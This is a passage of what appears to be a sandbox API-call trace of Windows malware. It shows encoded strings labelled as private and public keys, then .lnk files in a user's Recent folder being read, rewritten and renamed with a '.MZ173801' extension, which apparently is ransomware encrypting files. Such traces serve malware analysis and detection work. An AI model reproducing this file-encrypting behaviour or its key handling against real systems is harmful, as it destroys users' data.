lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.170] GetCurrentThreadId () returned 0xab4 [0153.170] GetCurrentThreadId () returned 0xab4 [0153.170] GetCurrentThreadId () returned 0xab4 [0153.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.171] GetCurrentThreadId () returned 0xab4 [0153.171] GetCurrentThreadId () returned 0xab4 [0153.171] GetCurrentThreadId () returned 0xab4 [0153.171] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_trbIxVN.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\_trbixvn.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0153.171] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.171] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.171] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x2fc [0153.171] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.171] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x2fc, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x2fc, lpOverlapped=0x0) returned 1 [0153.178] CloseHandle (hObject=0x280) returned 1 [0153.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_trbIxVN.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\_trbixvn.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0153.179] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x2fc, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x2fc, lpOverlapped=0x0) returned 1 [0153.180] CloseHandle (hObject=0x280) returned 1 [0153.181] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_trbIxVN.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\_trbixvn.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_trbIxVN.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\_trbixvn.lnk.mz173801")) returned 1 [0153.182] GetCurrentThreadId () returned 0xab4 [0153.182] GetCurrentThreadId () returned 0xab4 [0153.182] GetCurrentThreadId () returned 0xab4 [0153.182] GetCurrentThreadId () returned 0xab4 [0153.182] GetCurrentThreadId () returned 0xab4 [0153.182] GetCurrentThreadId () returned 0xab4 [0153.182] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf158701a, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf158701a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf158701a, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="_trbIxVN.lnk", cAlternateFileName="")) returned 0 [0153.182] GetLastError () returned 0x12 [0153.182] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0153.182] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x8571830a, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8571830a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0153.182] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0153.182] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.182] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x8571830a, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8571830a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.182] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.182] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.182] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d0271, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x7f9d0271, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81a987e5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x411, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="-a8H16g7Z8.flv.lnk.MZ173801", cAlternateFileName="-A8H16~1.MZ1")) returned 1 [0153.182] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.182] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.183] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b844037, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4b844037, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81abeba0, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x403, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="-FCpg55NRtj-U6_PA.lnk.MZ173801", cAlternateFileName="-FCPG5~1.MZ1")) returned 1 [0153.183] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.183] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.183] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54be226b, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x54be226b, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81ae4c68, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x26b, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="-kGuY.lnk.MZ173801", cAlternateFileName="-KGUYL~1.MZ1")) returned 1 [0153.183] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.183] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.183] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2e1d3e9, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf2e1d3e9, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x81b31149, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="-LTq6n--dr.lnk.MZ173801", cAlternateFileName="-LTQ6N~1.MZ1")) returned 1 [0153.183] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.183] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.183] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b733626, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5b733626, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81b5745f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x57a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="0anbzC4wy3QV.lnk.MZ173801", cAlternateFileName="0ANBZC~1.MZ1")) returned 1 [0153.183] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.183] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.183] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0c70049, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x697487b2, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81b5745f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3e4, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="13_UhdLxbGNJHYgey.lnk.MZ173801", cAlternateFileName="13_UHD~1.MZ1")) returned 1 [0153.183] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.183] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.183] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf54485da, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf54485da, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x81b7d60e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x399, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="1_2OVvk.lnk.MZ173801", cAlternateFileName="1_2OVV~1.MZ1")) returned 1 [0153.183] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.183] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.183] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf14efce1, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf14efce1, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x81b7d60e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3d0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="283NpHh8_ly2.lnk.MZ173801", cAlternateFileName="283NPH~1.MZ1")) returned 1 [0153.183] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.183] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.183] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3203bcf, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3203bcf, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x81bc996e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3a6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="2f1V.lnk.MZ173801", cAlternateFileName="2F1VLN~1.MZ1")) returned 1 [0153.183] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.183] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.183] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419ffc72, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x419ffc72, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81bc996e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3d6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="3qar626WH.lnk.MZ173801", cAlternateFileName="3QAR62~1.MZ1")) returned 1 [0153.183] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.183] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.183] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf265da01, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf265da01, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x81befe22, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="4DOO7h9IdbHgOJ L.flv.lnk.MZ173801", cAlternateFileName="4DOO7H~1.MZ1")) returned 1 [0153.183] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.183] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.183] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x696d60ff, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x696d60ff, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81befe22, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="4NRYueZu34oKrb1iEn.lnk.MZ173801", cAlternateFileName="4NRYUE~1.MZ1")) returned 1 [0153.183] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.183] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.183] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1c61bd5, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x6e6f1909, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81c16047, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="4yBx.lnk.MZ173801", cAlternateFileName="4YBXLN~1.MZ1")) returned 1 [0153.183] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.183] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.183] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551d811c, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x551d811c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81c3c1d3, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="4Zbv0xLp.lnk.MZ173801", cAlternateFileName="4ZBV0X~1.MZ1")) returned 1 [0153.183] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.184] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.184] 